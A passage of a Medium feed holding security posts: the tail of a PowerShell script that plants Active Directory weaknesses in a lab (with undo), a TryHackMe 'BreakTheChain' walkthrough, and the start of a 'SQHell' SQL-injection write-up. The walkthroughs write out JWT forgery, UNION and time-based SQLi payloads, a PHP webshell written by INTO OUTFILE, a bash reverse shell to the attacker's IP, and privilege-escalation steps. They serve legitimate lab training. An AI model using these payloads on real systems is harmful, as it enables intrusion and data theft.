-Identity $samAccountName -Clear info -ErrorAction Stop<br>        Write-Verbose &quot;Removed Pass-the-Ticket simulation for $samAccountName&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to remove Pass-the-Ticket simulation for {0}: {1}&quot; -f $samAccountName, $_)<br>    }<br>}<br><br>function Disable-SMBSigning {<br>    Write-Verbose &quot;[*] Disabling SMB Signing (lab environment only)&quot;<br>    try {<br>        Invoke-Command -ScriptBlock {<br>            Set-ItemProperty -Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; -Name &quot;RequireSecuritySignature&quot; -Value 0 -ErrorAction SilentlyContinue<br>            Set-ItemProperty -Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; -Name &quot;EnableSecuritySignature&quot; -Value 0 -ErrorAction SilentlyContinue<br>        }<br>    } catch {<br>        Write-Warning (&quot;Failed to disable SMB Signing: {0}&quot; -f $_)<br>    }<br>}<br><br>function Enable-SMBSigning {<br>    Write-Verbose &quot;[*] Enabling SMB Signing&quot;<br>    try {<br>        Invoke-Command -ScriptBlock {<br>            Set-ItemProperty -Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; -Name &quot;RequireSecuritySignature&quot; -Value 1 -ErrorAction SilentlyContinue<br>            Set-ItemProperty -Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; -Name &quot;EnableSecuritySignature&quot; -Value 1 -ErrorAction SilentlyContinue<br>        }<br>    } catch {<br>        Write-Warning (&quot;Failed to enable SMB Signing: {0}&quot; -f $_)<br>    }<br>}<br><br>function Enable-AnonymousLDAP {<br>    Write-Verbose &quot;[*] Enabling anonymous LDAP queries&quot;<br>    try {<br>        Set-ItemProperty -Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters&quot; -Name &quot;DSHeuristics&quot; -Value &quot;0000002&quot; -ErrorAction Stop<br>    } catch {<br>        Write-Warning (&quot;Failed to enable anonymous LDAP: {0}&quot; -f $_)<br>    }<br>}<br><br>function Disable-AnonymousLDAP {<br>    Write-Verbose &quot;[*] Disabling anonymous LDAP queries&quot;<br>    try {<br>        Set-ItemProperty -Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters&quot; -Name &quot;DSHeuristics&quot; -Value &quot;0000000&quot; -ErrorAction Stop<br>    } catch {<br>        Write-Warning (&quot;Failed to disable anonymous LDAP: {0}&quot; -f $_)<br>    }<br>}<br><br>function Create-PublicSMBShare {<br>    Write-Verbose &quot;[*] Creating public SMB share&quot;<br>    $shareName = &quot;PublicShare&quot;<br>    $folderPath = &quot;C:\PublicShare&quot;<br>    try {<br>        if (-not (Test-Path $folderPath)) {<br>            New-Item -ItemType Directory -Path $folderPath -Force | Out-Null<br>        }<br>        New-SmbShare -Name $shareName -Path $folderPath -FullAccess &quot;Everyone&quot; -ErrorAction Stop<br>    } catch {<br>        Write-Warning (&quot;Failed to create public SMB share: {0}&quot; -f $_)<br>    }<br>}<br>function Remove-PublicSMBShare {<br>    Write-Verbose &quot;[*] Removing public SMB share&quot;<br>    try {<br>        Remove-SmbShare -Name &quot;PublicShare&quot; -Force -ErrorAction Stop<br>        Remove-Item -Path &quot;C:\PublicShare&quot; -Recurse -Force -ErrorAction Stop<br>    } catch {<br>        Write-Warning (&quot;Failed to remove public SMB share: {0}&quot; -f $_)<br>    }<br>}<br># -------------------------<br># --- Main Script Logic ---<br># -------------------------<br>if (-not $Undo) {<br>    foreach ($user in $users) {<br>        $name = $user.name<br>        if (-not $name) {<br>            Write-Warning &quot;User name is empty or invalid. Skipping.&quot;<br>            continue<br>        }<br>        $nameParts = $name.Split(&quot; &quot;)<br>        if ($nameParts.Length -lt 2) {<br>            Write-Warning (&quot;User name &#39;{0}&#39; does not contain both first and last name. Skipping.&quot; -f $name)<br>            continue<br>        }<br>        $firstname, $lastname = $nameParts[0], $nameParts[1]<br>        $samAccountName = ($firstname[0] + $lastname).ToLower()<br>        Write-Verbose &quot;[*] Configuring user: $samAccountName&quot;<br>        $userObj = Get-UserObject -samAccountName $samAccountName<br>        if ($null -eq $userObj) { continue }<br>        $userDn = $userObj.DistinguishedName<br>        # 1. AS-REP Roasting<br>        Add-UserWithASREP -samAccountName $samAccountName<br>        # 2. Add SPN for Kerberoasting (Silver Ticket)<br>        $fakeSpn = &quot;http/$samAccountName.$domain&quot;<br>        Add-SPNToUser -samAccountName $samAccountName -spn $fakeSpn<br>        # 3. Password in comment<br>        Add-PasswordToComment -samAccountName $samAccountName -password $user.password<br>        # 4. Add one user to DnsAdmins for DnsAdmin exploitation (first user only)<br>        if ($users.IndexOf($user) -eq 0) {<br>            Add-DnsAdminsExploit -username $samAccountName<br>        }<br>        # 5. Grant DCSync rights to second user only<br>        if ($users.IndexOf($user) -eq 1) {<br>            Grant-UserDCSyncRights -username $samAccountName<br>        }<br>        # 6. Add GenericAll ACE on user object<br>        Add-PermissiveACL -targetObjectDN $userDn -username $samAccountName<br>        # 7. Pass-the-Ticket simulation (using &#39;info&#39; attribute)<br>        Add-PassTheTicketSimulation -samAccountName $samAccountName<br>    }<br><br>    # Global lab-wide vulnerabilities<br>    Add-GoldenTicketVuln<br>    Disable-SMBSigning<br>    Enable-AnonymousLDAP<br>    Create-PublicSMBShare<br><br>} else {<br>    foreach ($user in $users) {<br>        $name = $user.name<br>        if (-not $name) { continue }<br>        $nameParts = $name.Split(&quot; &quot;)<br>        if ($nameParts.Length -lt 2) { continue }<br>        $firstname, $lastname = $nameParts[0], $nameParts[1]<br>        $samAccountName = ($firstname[0] + $lastname).ToLower()<br>        Write-Verbose &quot;[*] Reverting changes for: $samAccountName&quot;<br><br>        $userObj = Get-UserObject -samAccountName $samAccountName<br>        if ($null -eq $userObj) { continue }<br>        $userDn = $userObj.DistinguishedName<br><br>        Remove-ASREP -samAccountName $samAccountName<br>        Remove-SPNsFromUser -samAccountName $samAccountName<br>        Clear-UserDescription -samAccountName $samAccountName<br>        Remove-DnsAdminsExploit -username $samAccountName<br>        Remove-PermissiveACL -targetObjectDN $userDn -username $samAccountName<br>        Remove-PassTheTicketSimulation -samAccountName $samAccountName<br>    }<br><br>    Remove-GoldenTicketVuln<br>    Enable-SMBSigning<br>    Disable-AnonymousLDAP<br>    Remove-PublicSMBShare<br>}</pre><p>This script Firt look imitation but it working principle is simple Scripts has two main objective first confugure Vulnerable services and essential Registery modifications, later that it Configures each vulnerabilities for each user and lastly it Create a Public Smb share.</p><p>The summary of all attack vectors are given below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*1Vi-KZdo9b4gQkG2HpQrSw.png" /></figure><h4>Demonstration of Script Usages</h4><p>Now it is time for the Script usage. Again Upload this script to Domain Controller machine</p><pre>#Enter Domain session and run the script<br>[DC-Session]: PS C:\Windows\Tasks&gt; .\vuln_ad.ps1 .\schema.json -verbose</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-QXpFqxGvLMLT5GGSEUISg.png" /></figure><h4>Undoing the Script.</h4><pre>#Revert all Vuln configuration from AD<br>[DC-Session]: PS C:\windows\Tasks&gt; .\vuln_ad.ps1 .\schema.json -verbose -Undo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXyXmJATMA7WQAvBvQ0tMQ.png" /></figure><h4>Checking the Results.</h4><p>I use Several tools to check the Scripts functionality, tools such as Kerbrute, Netexec, and BloodHound. The results are Decent you can Also Test in your local Lab environments and Give me Feedback.</p><h4>Kerbrute User Enumeration.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*1EnidJkkQZ-jme6XDZKiuA.png" /></figure><h4>NetExec Smb Enumeration.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*z-4nzj1CCYm11d6EYL-rRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*KahrwCelq_T0wpdzDd959Q.png" /></figure><h4>BloodHound Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qksqIKlArqV-D0CK8asmFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oR7Gm7fNelwzzlW-y_woVw.png" /></figure><p>And That it is All, I appreciate if you read this Article till the End.</p><p><strong>I Hope You Enjoyed it.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*fKYUkycYDMYSeFwn.gif" /></figure><p>“If you have any questions or comments, please do not hesitate to write. Have a good days”</p><p><a href="https://www.linkedin.com/in/yusif-yagubzadeh-b8a879252/">https://www.linkedin.com/in/yusif-yagubzadeh-b8a879252</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=640fde745346" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/ad-powershell-automation-vulnad-640fde745346">AD Powershell Automation, VulnAD</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme: BreakTheChain]]></title>
            <link>https://osintteam.blog/tryhackme-breakthechain-3b7eecb9252d?source=rss-e00a72c6a6cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b7eecb9252d</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[jwt-exploitation]]></category>
            <dc:creator><![CDATA[Yusif Yagubzade]]></dc:creator>
            <pubDate>Mon, 03 Mar 2025 20:03:36 GMT</pubDate>
            <atom:updated>2025-05-19T03:10:13.670Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we will take a look at <a href="https://tryhackme.com/jr/breakthechain"><strong>TryHackme: BreakTheChain</strong></a><strong>. </strong>This is one of the rooms that My Colleague <a href="https://nasirli.medium.com/"><strong>print(“N4s1rl1”)</strong></a><strong> </strong>created. My goal in sharing this writeup is show you the way if you are in trouble. Please try to understand each step and take notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6TF-tf6sPcuYUpeP" /></figure><h4>Nmap scan and Directory enumeration.</h4><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/BreakTheChain]<br>└─# nmap -Pn -sCV -p- --open target-IP -oN break.nmap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*seoDoIe_lbCbkfUp_EMvaA.png" /></figure><p>Target have 3 ports open and for Port 80 we have Web interface. To enumerate Directories I use Feroxbuster but you can user Alternative as well.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/BreakTheChain]<br>└─# feroxbuster -u http://Target-IP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fMsFfWFYU0rbmG5V2Im6wQ.png" /></figure><p>When you open the Web interface you will see an Login panel and a register button I tried different method but as a result you need to register your own user and login as this user</p><p><strong>Note:</strong> When you register new user <strong>don’t use</strong> this <strong>username: </strong><strong>test</strong> because system have this user and if you try this you will get<strong> Internal server Error.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SKjfxC7mHJ-sgO3smFdQQw.png" /></figure><p>After you registration site will redirect you in login page and use credentials to login user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*ZExcqn7zLguw-qTi_srKBw.png" /></figure><p>After Loginin your user you redirected to a <strong>Dashboard.php </strong>and there you will see your Username and Email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fy8c6bJhHAa-DGzyWH_vIg.png" /></figure><h4>JWT manipulation</h4><p>If you use Burpsuite to look at the request you will see a JWT authentication for each request. You can manually change the JWT token but to make things more easy I will recommend the Burpsuite’s <a href="https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd"><strong>JWT editor</strong></a> extention.</p><p>I use Burpsuite’s Proxy to intercept and refresh my dashboard request, if you download the extention you will see the option to modify JWT option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B8n5hGiqgFrymioD0kLCcg.png" /></figure><p>You can edit JWT in proxy or send the Request repeater and modify it there choice is yours. In my case I use Repeater. For working principle of the JWT you can look for this article: “<a href="https://dev.to/jaypmedia/jwt-explained-in-4-minutes-with-visuals-g3n#:~:text=JWT%20stands%20for%20JSON%20Web%20Token%2C%20and%20it,a%20secret%20key%20known%20only%20to%20the%20server."><strong> JWT explained in 4 minutes (With Visuals)</strong></a><strong>”. </strong>Now we are going to modify this sections of JWT</p><pre>#Modify Header &quot;alg&quot;: parameter<br>{<br>    &quot;typ&quot;: &quot;JWT&quot;,<br>    &quot;alg&quot;: &quot;HS256&quot; #Change to &quot;none&quot;<br>}</pre><pre>#Modify Payload<br>{<br>    &quot;id&quot;: &quot;12&quot;, #Change &quot;id&quot;: to &quot;1&quot;.<br>    &quot;username&quot;: &quot;Ghost&quot;, #Change &quot;username&quot;: to &quot;admin&quot;.<br>    &quot;role&quot;: &quot;user&quot;, #Change &quot;role&quot;: to &quot;admin&quot;<br>    &quot;exp&quot;: 1740430196<br>}</pre><p>After changing this parameters when you send the request you will see the <strong>Admin </strong>user’s Dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bn1opOPEElz91EeapTkEXw.png" /></figure><h4>UNION Based SQLi</h4><p>Now go back to the nmap Result we see the <strong>port 3306</strong> open that in this case You can try SQL injection to get data. For the input I going to use Search. When you use burpsuite you need to url encode your query.</p><pre>Find Column Count (URL encode the Query)<br>&#39; ORDER BY 6-- - :Response Positive<br>&#39; ORDER BY 7-- - :Response Negative</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qJhNZzR5WsBswTUeq9SrqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6QUFCaG3WkWFJh4vfQQeNQ.png" /></figure><p>As for the result I now site is vulnerable to SQLi so I try<strong> UNION </strong>method. for the column we know that we have 6 columns for our UNION attack. For the find writeable columns I use this query.</p><pre>#Find Writeable columns (URL encode the Query)<br>&#39; UNION SELECT 1,2,3,4,5,6-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YA49KgV1IgUEybJETVj-MQ.png" /></figure><p>Now you know the collumn 2,3, and 6 is writeable. To check the name of the Current DB I am I use this helper function.</p><pre>#Find CurrentDB name (URL encode the Query)<br>&#39; UNION SELECT 1,database(),3,4,5,6-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JdtDIOMlUaSVg43vWfGaXA.png" /></figure><p>After knowing the our DB name it is time ti find Tables of Database.</p><pre>Find Table of CurrentDB (URL encode the Query)<br>&#39; UNION SELECT 1,table_name,3,4,5,6 from information_schema.tables where table_schema=database()-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SyE0gKR6Po7uRcCA9qQn6w.png" /></figure><p>I check other tables but Database only have 1 table, as for the columns I use this query.</p><pre>#Find Columns of CurrentDB (there only 6 columns<br>&#39; UNION SELECT 1,column_name,3,4,5,6 from information_schema.columns where table_schema=database() and table_name=&#39;users&#39;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H4q-p-a9rM5N_VLccIXD7g.png" /></figure><p>To Extract data from Database I use this query:</p><pre>#Extract Data From currentDB Tables<br>-99&#39; UNION SELECT 1,2,3,4,5,concat(username,&#39;: &#39;,password) from users -- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XlalQCwKh5z_1bctJ8za3A.png" /></figure><p>So I look at the content of username and password columns and I find Usernames and password hashes but there completely useless because it encryted with salt that you <strong>can’t crack it.</strong></p><h4>Upload Webshell</h4><p>We know that site has SQLi to gain access to the system shell. I am going to upload a Webshell using the SQLi. To do this first we need find the path that is writeable, so doing some research I find a mysql helper function which is shows the path that our current mysql user have permission to edit or write</p><pre>#Helper fuction to find writeable directory<br>&#39; union select null,@@secure_file_priv,3,null,null,6#</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FssFfEFBFDfRr4_5UYixHw.png" /></figure><p>Looking at the result we can write /var/www/html/tmp/ path, knowing this it is time to to <strong>upload Webshell</strong> to write with SQL I use OUTFILE function to edit our path, as for the webshell I user php system parameter.</p><pre>#Query to upload Webshell on server<br>&#39; union select null,&#39;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#39;,3,null,null,6 INTO OUTFILE &#39;/var/www/html/tmp/shell.php&#39;#</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f0Z0deDW2gVtCQZ9a0CdBA.png" /></figure><p>You will see Error message that is Ok don’t worry. T check the Webshell go site /tmp/ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QX1MZHtfc9nm5BTdHUax1g.png" /></figure><p>To use this webshell select the shell.phpfile and add ?cmd= parameter and write any Linux commad as you fit.</p><pre>#Usage of Webshell<br>http://Target-IP/tmp/shell.php?cmd=&#39;Command&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DmWwnw3XI4xwu8E_cmgEmw.png" /></figure><h4>Upload Reverse shell</h4><p>You can use Webshell but for my case I need get the terminal so I am going to upload a simple php reverse Shell to system. First to write the shell code.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/BreakTheChain]<br>└─# nano Revshell.php</pre><pre>#Change Local-IP to VPN Ip address.<br>&lt;?php  <br>$output = shell_exec(&#39;/bin/bash -c &quot;bash -i &gt;&amp; /dev/tcp/Local-IP/443 0&gt;&amp;1&quot;&#39;);  <br>echo &quot;&lt;pre&gt;$output&lt;/pre&gt;&quot;;<br>?&gt;</pre><p>After preparing Reverse-Shell payload it is time to upload Payload using Webshell. First Set up python web server on the directory of Shell payload.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/BreakTheChain]<br>└─# python3 -m http.server </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9yDJREXZdx7MtfHEHSw1sA.png" /></figure><p>After the setting up Web server use wget command to upload payload to server</p><pre>#Upload Reverse shell with Webshell<br>http://Target-IP/tmp/shell.php?cmd=wget http://Local-IP:Local-Port/Filename</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3FRr2YX6KY7ONzuoJWWOTQ.png" /></figure><h4>Get Reverse Shell</h4><p>Now it is time to get system shell on our terminal, firstly set up netcat listener on our local terminal then run the Shell payload</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/BreakTheChain]<br>└─# rlwrap nc -lvnp 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S_h3vos1oRiawV-3g-1vng.png" /></figure><p>After getting a shell you need to do some adjustments in the shell, first changing shell to <strong>xterm</strong> and Spawn shell to escape the <strong>dumpshell.</strong></p><pre>#Command for change shell to xterm<br>www-data@BreakTheChain:$ export TERM=xterm</pre><pre>#Command for escape dump shell<br>www-data@BreakTheChain:$ python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gibh709-BYCSWe5X38Rxw.png" /></figure><h4>Privilege Escalation №1 (user.txt)</h4><p>Now we are in the system as www-data user in /var/www/html/ directory go back to /var/ directory you will see a opt/ directory look inside of this directory you will see a executable script named secret</p><pre>www-data@BreakTheChain:/var/$ ls -l opt/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OWyz8fJD_VK2PlLNYXwouw.png" /></figure><p>Go inside of the opt/ directory and user strings command to look content of this executable file. You will see some kind of password.</p><pre>www-data@BreakTheChain:/var/opt/$ strings secret</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ZsxQkJOae3QSatVv6bo4Q.png" /></figure><p>Now Run the secret file it requires a password use the password you see in secret file, and it give you the <strong>ssh credentials</strong> of the system user named <strong>hell.</strong></p><pre>www-data@BreakTheChain:/var/opt$ ./secret<br>Enter the correct keyword: </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvK476qxfMXnhhiHyGQ3JA.png" /></figure><p>Exit the Terminal and use SSH to login the system user with given credentilas.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/BreakTheChain]<br>└─# ssh hell@Target-IP <br>hell@Target-IP&#39;s password: </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*df010ftuMsIQlQZSQEM5AQ.png" /></figure><p>After the login check the sudo permissions of the hell user with sudo -l command</p><pre>#Hell user&#39;s Sudo permission<br>hell@BreakTheChain:/opt$ sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*li2Dmqo2TsJRaoBZI-DIVQ.png" /></figure><p>Looking at the result Hell can run /usr/bin/python3 command to run all files in /home/n4s1rl1/* so I create a shell script in /tmp directory. and run the same script as n4s1rl1 user.</p><pre>#Simple python shell command get user shell<br>hell@BreakTheChain:/home$ echo &#39;import os; os.system(&quot;/bin/bash&quot;)&#39; &gt; /tmp/shell.py</pre><pre>#Run Python script as User&#39;s permission<br>hell@BreakTheChain:/home$ sudo -u n4s1rl1 /usr/bin/python3 /home/n4s1rl1/../../tmp/shell.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nNdaC_8Bnmp1JUEu_aq1HA.png" /></figure><p>Now we have n4s1rl1 user shell to get user.txt go the user directory and read the user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mzjnl9cMOfDn6zQpYf-FIA.png" /></figure><h4>Privilege Escalation №2 (root.txt)</h4><p>You check the second user’s permission we see some script run as root without password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W5cG_BT2IAdx4lhWdrHdZA.png" /></figure><p>When you run the script as root it selects .jpeg files form /Pictures/ directory and change the selected file’s owner to root and only gives read and write permission to root only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBIuMWzC-s2cD082G5YU7A.png" /></figure><p>Looking closely at Pictures/ directory I see something strange.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7dIXgBqtKkell4UcBD7cg.png" /></figure><p>In Linux systems ./ directroy in defaul created by root but in our case Picture/ directory ./ directory created by user and has user permissions. Knowing this we can exploit this.</p><p>Firstly I create an empty exploit.jpeg file inside Pictures/./ directory because we need a dummy for script to trigger.</p><pre>n4s1rl1@BreakTheChain:~$ touch /home/n4s1rl1/Pictures/./exploit.jpeg</pre><p>and again inside the same directory create a main exploit file named chown reason is picsafe.sh change owner of selected file most likely it use chown command, after creating file give executable permission with chmod command.</p><pre>n4s1rl1@BreakTheChain:~$ echo -e &#39;#!/bin/bash\n/bin/bash -p&#39; &gt; /home/n4s1rl1/Pictures/./chown</pre><pre>n4s1rl1@BreakTheChain:~$ chmod +x /home/n4s1rl1/Pictures/./chown</pre><p>Now we created I exploit files we need to add /home/n4s1rl1/Pictures/. to the PATH.</p><pre>n4s1rl1@BreakTheChain:~$ export PATH=/home/n4s1rl1/Pictures/.:$PATH</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AbkoSyVv1ylzNpPoSO1sHA.png" /></figure><p>For the Last step run script with root permission and select our dummy file</p><pre>n4s1rl1@BreakTheChain:~/Pictures$ sudo -u root /home/n4s1rl1/picsafe.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Qjx4iEmSjnALhmLQS08ZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MDraYlBCnY5Lg8YD0x7wlA.png" /></figure><p><strong>Now we are ROOT!</strong> and have root Flag. <strong>I hope you Enjoyed it.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*oXpYvLEqdR97huhZ.gif" /></figure><p>“If you have any questions or comments, please do not hesitate to write. Have a good days”</p><p><a href="https://www.linkedin.com/in/yusif-yagubzadeh?lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_contact_details%3Bi2oPthpGTDu3VqhEqqxQww%3D%3D">https://www.linkedin.com/in/yusif-yagubzadeh</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b7eecb9252d" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/tryhackme-breakthechain-3b7eecb9252d">Tryhackme: BreakTheChain</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme: SQHell]]></title>
            <link>https://osintteam.blog/tryhackme-sqhell-347f18604e50?source=rss-e00a72c6a6cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/347f18604e50</guid>
            <category><![CDATA[manual-exploitation]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Yusif Yagubzade]]></dc:creator>
            <pubDate>Thu, 20 Feb 2025 19:23:56 GMT</pubDate>
            <atom:updated>2025-02-23T02:20:03.500Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we will take a look at TryHackMe: SQhell. This is one of intermediate rooms to get into SQL injection methods.I am going to show both Manual and Automated Exploitation methods. My goal in sharing this writeup is show you the ways if you are in trouble. Please try to understand each step and take notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*fToDx8ycDUjgGF_p.jpeg" /></figure><h3>Directory Enumeration</h3><p>Before getting into Web interface I run quick directory enumeration withferoxbuster to see what we are dealing with.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# feroxbuster -u http://&#39;TargetIP&#39; -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --scan-dir-listings</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SpzSpHzEp-pAZNu0LOTp3Q.png" /></figure><h3>Flag 1: In-Band/Error Based SQLi - Login Bypass</h3><p>The first flag is the easiest, For the Manual Exploitation payload is simple you can both user Burpsuite and Browser.</p><pre>username=Test&#39; or 1=1--+&amp;password=test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZvWyn11VVdAdecoc8_WhZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n3t61tj5-5xsX2yYrjyHOQ.png" /></figure><p>For the Automated exploitation. I use Burpsuite Intruder module to brute force the query using this wordlist From <a href="https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/"><strong>Pentestlab</strong></a><strong>.</strong> To use this method first intercept the query</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ooThNZwPL3MhgOl_pXR_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQg38Nw2ICShWLbQlZwssg.png" /></figure><p>After intercepting the Request send the request to intruder. Check the last line has something within $ set against the username field, this is the variable that Burp will replace with our word list then Start attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wlMffsbYozP61rmtjrGoxw.png" /></figure><p>wait for burp to try everything from your list. Looking at the results you’ll see a few lines with a smaller length to the others. If you switch to the response tab you can see these are the responses containing our flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2KNrnSdw14WIydxiDDB9Fw.png" /></figure><h3>Flag 2: Blind/Time Based SQLi</h3><p>Now getting the second flag is little bit tricky because it is Blind SQLi more specifically Time Based SQLi which is we don’t be able to see our query result we need detect the time delay of the site when it reacts to each request. Flag 2 has a hint on the room description, it says: Make sure to read the terms and conditions;) It mentions logging the visitors IP. A search online found<strong> </strong><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For"><strong>this</strong></a> that explains the process:</p><pre>The X-Forwarded-For (XFF) header is a de-facto standard header for identifying the originating IP address<br>of a client connecting to a web server through an HTTP proxy or a load balancer.</pre><p>how to exploit XFF for time based SQLi I found lots of articles. <a href="https://www.programmersought.com/article/466012852/"><strong>This</strong></a> is a good one, with plenty of detail and examples. And also <a href="https://resources.infosecinstitute.com/topic/sql-injection-http-headers/"><strong>this</strong></a><strong> article</strong>. For Manualy exploitation I use curl command</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# curl -H &quot;X-Forwarded-For:1&#39; AND (SELECT sleep(5) FROM flag where (ASCII(SUBSTR(flag,1,1))) = &#39;84&#39;); --+&quot; http://&#39;TargetIP&#39;/terms-and-conditions</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S5YZLRhXbxPbNNCavJiM4A.png" /></figure><p>we are testing using ASCII codes. I’m assuming the first character of the flag is T like all the others. 84 is the ASCII value of T, and I’m sending that via the X-Forwarded-For header. The sleep(5) will visibly pause the output for 5 seconds, so we know there was a match if we get a delay.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# curl -H &quot;X-Forwarded-For:1&#39; AND (SELECT sleep(5) FROM flag where (ASCII(SUBSTR(flag,2,1))) = &#39;72&#39;); --+&quot; http://&#39;TargetIP&#39;</pre><p>We test 72 which is the ASCII value of H and again get a five second delay. This tells us we have a match, and like before we can continue on this path to manually work out the flag.</p><p>For the Automated Exploitation We can use Burpsuite Intruder again but it was such a pain for me so I write simple Python script to get Tables and columns of the Current Database(Keep it mind it take some time 